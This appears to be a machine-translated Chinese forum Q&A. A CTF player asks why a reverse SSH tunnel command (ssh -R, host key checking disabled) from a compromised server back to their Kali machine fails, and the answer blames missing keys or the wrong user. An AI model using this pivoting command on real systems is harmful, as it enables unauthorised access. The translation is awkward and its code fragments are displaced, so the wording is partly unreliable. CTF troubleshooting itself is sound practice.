我正在参加夺旗赛 (CTF),我正在使用 Kali。我可以通过另一台服务器 (服务器 0) 访问一台服务器 (服务器 1),然后通过该服务器进行切换。
现在我的任务是从服务器 1 设置反向 SSH shell。我使用以下命令(根据我必须使用的提示提供给我)
ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no -fN -R 8080:a.b.c.d:80 [email protected] -v
abcd 是服务器 1 的 IP 地址
efgh 是我的 IP 地址
使用 -v 运行我收到以下错误:
debug1: read_passphrase: can't open /dev/tty: No such device or address
debug1: Authentications that can continue: publickey,password
debug1: No more authentication methods to try.
Permission denied (publickey,password).
我不知道这是否意味着问题出在 Kali 端或受感染服务器的权限级别上。
任何帮助/想法均表示感谢。
答案1
你有一个小问题,还有一个大问题。
这大的问题是身份验证在没有尝试的情况下停止任何方法。你拼凑起来的命令应该与加密密钥,但您似乎没有。这可能是因为您忘记-i /path/to/keys
在 CLI 上指定,或者因为您尝试以 root 身份进行身份验证,但您拥有用户 YourName 的密钥(换句话说,密钥在 中,/home/YourName/.ssh
但不在 中/root/.ssh
),或者反之亦然,或者因为您根本没有为 设置无密码登录[email protected]
。
这小的错误消息表明存在问题
debug1:read_passphrase:无法打开/dev/tty:没有这样的设备或地址
根本不用担心:它告诉您上述隧道是在没有 tty 的情况下创建的,这是一个问题,因为有一些错误消息无法显示,而这正是因为没有 tty。最有可能的是,错误消息是,因为您通过选项Host key verification failed
指定了包含已知主机密钥的文件是;但您还指定了,因此连接不会在此处停止。/dev/null
-o UserKnownHostsFile=/dev/null
-o StrictHostKeyChecking=no
您可以通过添加选项(是的,两次)来消除此类错误消息(可能)-t -t
,这将分配一个 tty 并因此显示错误消息(并检查我的预感是否确实正确)。或者您可以简单地忘记它,因为它基本上无关紧要。